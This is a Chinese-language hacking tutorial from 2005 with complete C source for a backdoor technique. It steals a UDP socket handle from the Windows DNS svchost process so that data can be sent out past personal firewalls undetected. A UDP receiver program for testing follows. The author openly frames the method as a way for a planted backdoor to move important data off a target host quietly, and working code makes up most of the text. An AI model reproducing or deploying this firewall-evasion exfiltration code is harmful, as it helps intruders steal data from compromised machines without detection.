使用该技术背景: 在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).
针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦. 相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单: 将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:
1. 找出目标进程 2. 找出SOCKET句柄 2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用. 3. 用转换后的SOCKET进行数据传输
上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也 可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP. 针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.
看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".
我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被 拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...
下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子. 编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等. 具体解决方法请细看注释部分...
/*++
Made By ZwelL zwell@sohu.com 2005.4.12 --*/
#include <winsock2.h> #include <stdio.h> #include <wtsapi32.h>
#pragma comment(lib, "ws2_32") #pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char NTDLL_DLL[] = "ntdll.dll"; HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) { printf( "GetModuleHandle() failed"); return( FALSE ); } if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) ) { goto LocateNtdllEntry_exit; } ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret ) { printf( "GetProcAddress() failed"); } ntdll_dll = NULL; return( ret ); }
/*++ This routine is used to get a process's username from it's SID --*/ BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName) { // sanity checks and default value if (pUserSid == NULL) return false; strcpy(szUserName, "?");
SID_NAME_USE snu; TCHAR szUser[_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = &chUser; TCHAR szDomain[_MAX_PATH]; DWORD chDomain = _MAX_PATH; PDWORD pcchDomain = &chDomain;
// Retrieve user name and domain name based on user's SID. if ( ::LookupAccountSid( NULL, pUserSid, szUser, pcchUser, szDomain, pcchDomain, &snu ) ) { wsprintf(szUserName, "%s", szUser); } else { return false; }
return true; }
/*++
This routine is used to get the DNS process's Id Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information, even if we has the privilege in catching the SYSTEM's.
--*/ DWORD GetDNSProcessId() { PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; char szUserName[255]; DWORD Id = -1;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++) {
if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 ) { GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName); if( strcmp(szUserName, "NETWORK SERVICE") == 0) { Id = pProcessInfo[CurrentProcess].ProcessId; break; } } }
WTSFreeMemory(pProcessInfo); }
return Id; }
/*++ This doesn't work as we know, sign... but you can use the routine for other useing... --*/ /* BOOL GetProcessUserFromId(char *szAccountName, DWORD PID) { HANDLE hProcess = NULL, hAccessToken = NULL; TCHAR InfoBuffer[1000], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); if(hProcess == NULL) { printf("OpenProcess wrong"); CloseHandle(hProcess); return false; }
if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken)) { printf("OpenProcessToken wrong:x", GetLastError()); return false; }
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer, 1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu);
if(hProcess) CloseHandle(hProcess); if(hAccessToken) CloseHandle(hAccessToken); return true; }*/
/*++ Now, it is the most important stuff... ^_^ --*/ SOCKET GetSocketFromId (DWORD PID) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; HANDLE sock = NULL; DWORD n;
buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong/n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong/n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong/n"); return NULL; }
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
for(i = 0; i<NumOfHandle ;i++) { try { if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c ) && (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname() // So I jump over this situation... // May be it's different in your system, ) //wind2000 is 0x1a { //printf("Handle:0x%x Type:x/n",h_info[i].Handle, h_info[i].ObjectTypeNumber); if( 0 == DuplicateHandle( OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), (HANDLE)h_info[i].Handle, GetCurrentProcess(), &sock, STANDARD_RIGHTS_REQUIRED, true, DUPLICATE_SAME_ACCESS) ) { printf("DuplicateHandle wrong:%8x", GetLastError()); continue; }
//printf("DuplicateHandle ok/n"); sockaddr_in name = {0}; name.sin_family = AF_INET; int namelen = sizeof(sockaddr_in); getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen ); //printf("PORT=]/n", ntohs( name.sin_port )); if(ntohs(name.sin_port)>0) // if port > 0, then we can use it break; } } catch(...) { continue; } }
if ( buf != NULL ) { free( buf ); } return (SOCKET)sock; }
/*++ This is not required... --*/ BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid );
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken );
AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 );
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken); return rv; }
void main() { WSADATA wsaData; char testbuf[255]; SOCKET sock; sockaddr_in RecvAddr;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != NO_ERROR) printf("Error at WSAStartup()/n");
if(!LocateNtdllEntry()) return;
if(!EnablePrivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong/n"); return; }
sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong/n"); return; }
//Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d/n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^/n"); } getchar();
//WSACleanup(); return; }
很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中, 因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken, 但是怎么也不行,所以换个方法.用到了wtsapi32库函数.
再用下面的代码测试:
/*++ UdpReceiver --*/ #include <stdio.h> #include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main() { WSADATA wsaData; SOCKET RecvSocket; sockaddr_in RecvAddr; int Port = 5555; char RecvBuf[1024]; int BufLen = 1024; sockaddr_in SenderAddr; int SenderAddrSize = sizeof(SenderAddr);
//----------------------------------------------- // Initialize Winsock WSAStartup(MAKEWORD(2,2), &wsaData);
//----------------------------------------------- // Create a receiver socket to receive datagrams RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//----------------------------------------------- // Bind the socket to any address and the specified port. RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(Port); RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
//----------------------------------------------- // Call the recvfrom function to receive datagrams // on the bound socket. printf("Receiving datagrams.../n"); while(1) { recvfrom(RecvSocket, RecvBuf, BufLen, 0, (SOCKADDR *)&SenderAddr, &SenderAddrSize); printf("%s/n", RecvBuf); }
//----------------------------------------------- // Close the socket when finished receiving datagrams printf("Finished receiving. Closing socket./n"); closesocket(RecvSocket);
//----------------------------------------------- // Clean up and exit. printf("Exiting./n"); WSACleanup(); return; }
测试步骤: 1. 在一台机器上执行UdpReceiver, 2. 在安装防火墙的机器上执行第一个程序.
